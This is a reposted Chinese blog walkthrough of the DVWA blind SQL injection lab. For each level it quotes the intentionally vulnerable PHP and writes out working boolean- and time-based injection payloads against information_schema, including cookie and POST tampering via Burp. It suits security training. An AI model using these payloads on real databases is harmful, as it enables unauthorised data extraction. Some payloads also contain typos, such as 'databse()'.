ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

DVWA通关之SQL Injection(Blind盲注)

2021-08-06 19:30:11  阅读:255  来源: 互联网

标签:Blind name database mysqli DVWA SQL table id schema


盲注就是在SQL注入过程中,服务器并没有给客户端返回信息。通过盲注可以对程序对应的数据存储区进行对应的探测。盲注分类可以分为基于时间和基于布尔以及基于报错的盲注。

可以参考:
https://www.jianshu.com/p/757626cec742

SQL盲注-测试思路:

l 对于基于布尔的盲注,
理解:通过and、or等逻辑运算符让整个SQL语句的执行结果为true或false,观察true或false对应的服务器返回的信息,根据该信息来判断执行情况

网络:可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<–>False发生变化的转折点。

l 对于基于时间的盲注:
理解:基于布尔是使用逻辑运算符,那基于时间就是使用时间函数,看看在执行SQL语句的时候是否会运行这些时间函数,而这些时间函数的执行,往往通过页面的显示结果可以看出

网络:通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。

l 对于基于报错的盲注

通过floor,updatexml,extractvalue等12种报错注入和万能语句;
参考:
https://www.jianshu.com/p/bc35f8dd4f7c

网络:搜寻查看网上部分Blog,基本是在rand()函数作为group by的字段进行联用的时候会违反Mysql的约定而报错。rand()随机不确定性,使得group by会使用多次而报错。

Low:

源码分析一下:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
//最后的判断只有两种
num大于0输出User ID exists in the database
num小于等于0 输出User ID is MISSING from the database
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

low级别的代码堵参数id没有做任何检查,过滤,存在明显的sql注入漏洞,同时SQL语句查询返回的结果只有两种
User ID exists in the database与User ID is MISSING from the database。
因此这里是SQL盲注漏洞。

手工盲注的步骤,首先判断是否存在注入,注入是字符型还是数字型;接下来依次猜解数据库名、表名、字段名、数据。
输入1,显示存在;输入1’and 1=1#,显示存在;输入1’ and 1=2 #,显示不存在;说明存在字符型的sql盲注。

在这里插入图片描述
想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。

数据库名称的属性:字符长度、字符组成的元素(字母/数字/下划线/…)&元素的位置(首位/第2位/…/末位);
猜解数据库名的长度,然后采用二分法猜解数据库名;

猜解长度:
输入1’ and length(database())=3 #,显示不存在;
输入1’ and length(database())=4 #,显示存在:
猜解数据库名:
输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
不断重复猜出数据库名为dvwa。

猜解数据库中的表名,首先我们先猜解表的数量;
1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
说明有两个表。

MYsql数据库结构:
在这里插入图片描述
挨个猜解表名:
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在;

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在;

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在;
所以第一个表名长度为9。

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在;
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在;
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在;
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在;
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在;
所以第一个表的第一个字符为g,重复上述步骤即可猜解出两个表名(gusetbook、users)。

猜解表中的字段名,首先猜解表中的字段数量:
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在;

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在;
说明users表中有8个字段。

然后挨个猜解字段名:
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在;

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在;
所以users表中第一个字段为7个字符长度,采用二分法即可猜解出所有字段名。

猜解数据:
同样采用二分法,还可以采用基于时间的盲注。

Medium:

源码分析一下:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
//对特殊符号
\x00,\n,\r,\,’,”,\x1a进行转义
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,’,”,\x1a进行转义,控制用户不能通过文本框输入只能通过前端的下拉菜单选择。
虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数。

这里通过brup抓包修改参数id进行查询,首先是基于布尔的盲注:
抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273为users的16进制),显示存在,说明uers表有8个字段。

然后是基于时间的盲注:
抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;
抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;
抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #。

High:

源码分析一下:

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
//limit限制查询只能为1条
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
//返回MISSING时,会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>


代码分析,可以看到,High级别的代码利用cookie传递参数id(cookie注入),当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

虽然添加了LIMIT 1,但是可以通过#将其注释掉。由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,只演示基于布尔的盲注:
抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

标签:Blind,name,database,mysqli,DVWA,SQL,table,id,schema
来源: https://blog.csdn.net/weixin_47912094/article/details/119358660

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有